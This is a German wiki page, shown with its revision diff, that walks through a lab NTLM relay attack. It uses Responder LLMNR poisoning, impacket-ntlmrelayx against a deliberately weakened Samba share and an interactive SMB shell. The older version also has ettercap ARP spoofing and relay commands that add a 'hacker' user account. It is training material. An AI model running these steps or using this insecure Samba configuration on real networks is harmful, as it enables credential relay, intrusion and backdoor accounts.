NTLM-Relay auf Samba-Freigabe mit Impacket: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(16 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
−
= ARP-Spoofing & NTLMv2-Relay gegen SMB-Zielserver =
+
= NTLM-Relay auf Samba-Freigabe mit Impacket =
  
−
== Zielsetzung ==
+
== Allgemeine Funktionsweise ==
−
Ein Windows-10-Client (10.0.10.102) wird per ARP-Spoofing in einen Man-in-the-Middle gebracht.
+
 
−
Anschließend wird mittels LLMNR/NBNS-Spoofing durch Responder ein NTLMv2-Hash abgefangen und mit ntlmrelayx an einen Samba-Server (10.0.10.104) weitergeleitet, um dort eine Datei hochzuladen.
+
=== responder ===
 +
* Lauscht im lokalen Netz auf Anfragen per LLMNR (UDP 5355) und NBT-NS (UDP 137)
 +
* Antwortet gezielt auf Namensanfragen, wenn ein Windows-Client einen Hostnamen nicht auflösen kann
 +
* Täuscht dem Client vor, der gesuchte Host zu sein, und provoziert so eine NTLM-Authentifizierung
 +
 
 +
=== ntlmrelayx ===
 +
* Fängt die NTLM-Authentifizierung des Clients ab
 +
* Leitet sie im Relay-Modus an ein vom Angreifer bestimmtes Ziel weiter (z. B. einen Samba-Server)
 +
* Baut auf dem Zielsystem eine authentifizierte Session auf, ohne das Passwort zu kennen
 +
* Bietet eine interaktive SMB-Shell, um Freigaben zu nutzen oder Dateien hochzuladen
 +
 
 +
== Ziel ==
 +
Ein Windows-Client im lokalen Netz wird über LLMNR vergiftet. Die dabei gesendete NTLM-Authentifizierung wird per ntlmrelayx an einen Samba-Server weitergeleitet. Dieser akzeptiert relayed Logins als Gast und erlaubt dadurch Uploads auf eine offene Freigabe.
  
 
== Umgebung ==
 
== Umgebung ==
−
{| class="wikitable"
+
* Angreifer: Kali Linux mit responder und impacket
−
! System !! IP-Adresse !! Rolle
+
* Opfer: Windows-System im selben LAN (z. B. 10.0.10.102)
−
|-
+
* Ziel: Linux mit Samba-Freigabe (z. B. 10.0.10.104)
−
| Kali Linux || 10.0.10.101 || Angreifer (Responder, ntlmrelayx, ettercap)
+
 
−
|-
+
== Samba-Freigabe vorbereiten ==
−
| Windows 10 || 10.0.10.102 || Opfer (NTLM-fähig, ungehärtet)
+
 
−
|-
+
Konfiguration in '''/etc/samba/smb.conf''':
−
| Samba-Server || 10.0.10.104 || Zielsystem für Relay (kein SMB Signing)
+
<pre>
−
|}
+
[global]
 +
  workgroup = WORKGROUP
 +
  server string = Relayziel
 +
  guest account = nobody
 +
  ntlm auth = yes
 +
  lanman auth = yes
 +
  client lanman auth = yes
 +
  client ntlmv2 auth = yes
 +
  server min protocol = NT1
 +
 
 +
[share]
 +
  comment = Relay-Ziel
 +
  path = /mnt/media/share
 +
  read only = no
 +
  guest ok = yes
 +
  public = yes
 +
  browseable = yes
 +
  force user = nobody
 +
  force group = nogroup
 +
 
 +
[homes]
 +
  comment = Home Directories
 +
  valid users = %S
 +
  browseable = No
 +
  read only = No
 +
  inherit acls = Yes
 +
  create mode = 0600
 +
  directory mode = 0700                         
 +
</pre>
 +
 
 +
Verzeichnis erstellen und Rechte setzen:
 +
<pre>
 +
mkdir -p /mnt/media/share
 +
chown nobody:nogroup /mnt/media/share
 +
chmod 777 /mnt/media/share
 +
systemctl restart smbd
 +
</pre>
 +
 
 +
== Verbindung testen ==
 +
<pre>
 +
smbclient -L //10.0.10.104 -N
 +
</pre>
 +
 
 +
→ Die Freigabe „share“ muss sichtbar sein. Es darf kein „Signing: required“ erscheinen.
 +
 
 +
== responder starten ==
 +
<pre>
 +
responder -I eth0 -wd
 +
</pre>
 +
 
 +
Nur LLMNR/NBT-NS-Poisoning aktivieren. Kein integrierter SMB-Server darf laufen.
 +
 
 +
== ntlmrelayx starten ==
 +
<pre>
 +
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
 +
</pre>
 +
 
 +
ntlmrelayx lauscht auf eingehende NTLM-Verbindungen und leitet sie direkt an die Samba-Freigabe weiter. 
 +
Bei Erfolg wird eine interaktive SMB-Shell auf Port 11000 geöffnet.
 +
 
 +
== Angriff auslösen ==
 +
Auf dem Windows-Client folgenden UNC-Pfad im Explorer oder per PowerShell öffnen:
 +
<pre>
 +
\\irgendwas
 +
</pre>
  
−
== Vorbereitung auf Kali (10.0.10.101) ==
+
Wenn der Hostname nicht aufgelöst werden kann, erfolgt ein LLMNR-Broadcast. responder antwortet, ntlmrelayx relayed den NTLM-Auth an das Ziel.
−
=== Relay-Verzeichnis erstellen ===
 
−
* Ein Verzeichnis vorbereiten, das als SMB-Share-Inhalt übergeben wird:
 
−
mkdir -p ~/relay-share
 
−
echo "Owned by Kali" > ~/relay-share/pwned.txt
 
  
−
== Angriffsdurchführung auf Kali (10.0.10.101) ==
+
== Erfolgreicher Zugriff ==
−
=== ARP-Spoofing mit Ettercap ===
+
In ntlmrelayx erscheint:
−
* Zielgerät in MITM bringen:
+
<pre>
−
ettercap -Tq -i eth0 -M arp:remote /10.0.10.102/ //
+
[*] Authenticating against smb://10.0.10.104 as WORKGROUP\Benutzer SUCCEED
 +
[!] Interactive SMB shell opened...
 +
</pre>
  
−
=== Responder starten ===
+
Verbindung zur SMB-Shell herstellen:
−
* LLMNR/NBNS-Spoofing aktivieren, aber SMB deaktivieren:
+
<pre>
−
responder -I eth0 -wrf --no-smb --no-dhcp
+
nc localhost 11000
 +
</pre>
  
−
=== ntlmrelayx starten ===
+
Innerhalb der Shell:
−
* Hash wird empfangen und an das Ziel relayed:
+
<pre>
−
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i ~/relay-share --no-wcf-server --no-ldap
+
shares
 +
use share
 +
ls
 +
upload /tmp/test.txt
 +
</pre>
  
−
== Aktion auf dem Windows-Client (10.0.10.102) ==
+
Auf dem Zielsystem prüfen:
−
* Windows Explorer öffnen und in die Adresszeile eingeben:
+
<pre>
−
  \\irgendwas\test
+
ls -l /mnt/media/share
 +
</pre>
  
−
ODER:
+
→ Die Datei ist vorhanden.
  
−
* In der Eingabeaufforderung ausführen:
+
== Fehlerbehebung ==
−
  dir \\irgendeinserver\c$
 
  
−
== Ergebnis auf Kali (10.0.10.101) ==
+
{| class="wikitable"
−
* Auf dem SMB-Ziel (10.0.10.104) befindet sich im Share die Datei „pwned.txt“.
+
! Problem || Mögliche Ursache || Lösung
−
* In ntlmrelayx erscheint:
+
|-
−
  [*] SMB relay attack successful...
+
| Kein Relay möglich || SMB Signing aktiv || smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing
−
  [*] Uploaded file pwned.txt to share
+
|-
 +
| Kein Login || NTLM wird abgelehnt || In smb.conf: map to guest = Bad User, ntlm auth = yes
 +
|-
 +
| Keine Shell || Share nicht schreibbar || read only = no, force user = nobody, chmod 777 prüfen
 +
|-
 +
| Kein Poisoning || LLMNR deaktiviert || Windows prüfen: Get-NetAdapterBinding -ComponentID ms_llmnrs
 +
|-
 +
| Verbindung scheitert || Routing-Problem || ping vom Kali auf Ziel prüfen
 +
|-
 +
| ntlmrelayx zeigt nichts || Kein NTLM angekommen || UNC muss nicht auflösbar sein (z. B. \\irgendwas)
 +
|}
  
 
== Hinweise ==
 
== Hinweise ==
−
* Kein IP-Forwarding notwendig, da Ettercap auf Layer 2 arbeitet.
+
* Funktioniert nur in Netzen mit aktivem LLMNR oder NBT-NS und deaktiviertem SMB-Signing
−
* Funktioniert nur, wenn SMB-Signing auf dem Ziel deaktiviert ist.
+
* Für realistische Szenarien sollte SMB-Signing am Server aktiv sein
−
* Kann erweitert werden mit:
+
* Eignet sich für Labors und Schulungsumgebungen zur Demonstration von NTLM-Relaying
−
  --command "net user hacker 1234 /add"
 
−
  oder
 
−
  --command "cmd.exe /c echo PWNED > C:\pwned.txt"
 

Aktuelle Version vom 18. Mai 2025, 16:23 Uhr

NTLM-Relay auf Samba-Freigabe mit Impacket

Allgemeine Funktionsweise

responder

  • Lauscht im lokalen Netz auf Anfragen per LLMNR (UDP 5355) und NBT-NS (UDP 137)
  • Antwortet gezielt auf Namensanfragen, wenn ein Windows-Client einen Hostnamen nicht auflösen kann
  • Täuscht dem Client vor, der gesuchte Host zu sein, und provoziert so eine NTLM-Authentifizierung

ntlmrelayx

  • Fängt die NTLM-Authentifizierung des Clients ab
  • Leitet sie im Relay-Modus an ein vom Angreifer bestimmtes Ziel weiter (z. B. einen Samba-Server)
  • Baut auf dem Zielsystem eine authentifizierte Session auf, ohne das Passwort zu kennen
  • Bietet eine interaktive SMB-Shell, um Freigaben zu nutzen oder Dateien hochzuladen

Ziel

Ein Windows-Client im lokalen Netz wird über LLMNR vergiftet. Die dabei gesendete NTLM-Authentifizierung wird per ntlmrelayx an einen Samba-Server weitergeleitet. Dieser akzeptiert relayed Logins als Gast und erlaubt dadurch Uploads auf eine offene Freigabe.

Umgebung

  • Angreifer: Kali Linux mit responder und impacket
  • Opfer: Windows-System im selben LAN (z. B. 10.0.10.102)
  • Ziel: Linux mit Samba-Freigabe (z. B. 10.0.10.104)

Samba-Freigabe vorbereiten

Konfiguration in /etc/samba/smb.conf: 

[global]
   workgroup = WORKGROUP
   server string = Relayziel
   guest account = nobody
   ntlm auth = yes
   lanman auth = yes
   client lanman auth = yes
   client ntlmv2 auth = yes
   server min protocol = NT1

[share]
   comment = Relay-Ziel
   path = /mnt/media/share
   read only = no
   guest ok = yes
   public = yes
   browseable = yes
   force user = nobody
   force group = nogroup

[homes]
   comment = Home Directories
   valid users = %S
   browseable = No
   read only = No
   inherit acls = Yes
   create mode = 0600
   directory mode = 0700

Verzeichnis erstellen und Rechte setzen: 

mkdir -p /mnt/media/share
chown nobody:nogroup /mnt/media/share
chmod 777 /mnt/media/share
systemctl restart smbd

Verbindung testen

smbclient -L //10.0.10.104 -N

→ Die Freigabe „share“ muss sichtbar sein. Es darf kein „Signing: required“ erscheinen.

responder starten

responder -I eth0 -wd

Nur LLMNR/NBT-NS-Poisoning aktivieren. Kein integrierter SMB-Server darf laufen.

ntlmrelayx starten

impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server

ntlmrelayx lauscht auf eingehende NTLM-Verbindungen und leitet sie direkt an die Samba-Freigabe weiter. Bei Erfolg wird eine interaktive SMB-Shell auf Port 11000 geöffnet.

Angriff auslösen

Auf dem Windows-Client folgenden UNC-Pfad im Explorer oder per PowerShell öffnen: 

\\irgendwas

Wenn der Hostname nicht aufgelöst werden kann, erfolgt ein LLMNR-Broadcast. responder antwortet, ntlmrelayx relayed den NTLM-Auth an das Ziel.

Erfolgreicher Zugriff

In ntlmrelayx erscheint: 

[*] Authenticating against smb://10.0.10.104 as WORKGROUP\Benutzer SUCCEED
[!] Interactive SMB shell opened...

Verbindung zur SMB-Shell herstellen: 

nc localhost 11000

Innerhalb der Shell: 

shares
use share
ls
upload /tmp/test.txt

Auf dem Zielsystem prüfen: 

ls -l /mnt/media/share

→ Die Datei ist vorhanden.

Fehlerbehebung

Problem Mögliche Ursache Lösung
Kein Relay möglich SMB Signing aktiv smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing
Kein Login NTLM wird abgelehnt In smb.conf: map to guest = Bad User, ntlm auth = yes
Keine Shell Share nicht schreibbar read only = no, force user = nobody, chmod 777 prüfen
Kein Poisoning LLMNR deaktiviert Windows prüfen: Get-NetAdapterBinding -ComponentID ms_llmnrs
Verbindung scheitert Routing-Problem ping vom Kali auf Ziel prüfen
ntlmrelayx zeigt nichts Kein NTLM angekommen UNC muss nicht auflösbar sein (z. B. \\irgendwas)

Hinweise

  • Funktioniert nur in Netzen mit aktivem LLMNR oder NBT-NS und deaktiviertem SMB-Signing
  • Für realistische Szenarien sollte SMB-Signing am Server aktiv sein
  • Eignet sich für Labors und Schulungsumgebungen zur Demonstration von NTLM-Relaying
Abgerufen von „http://wiki.ixheim.de/index.php?title=NTLM-Relay_auf_Samba-Freigabe_mit_Impacket&oldid=63160“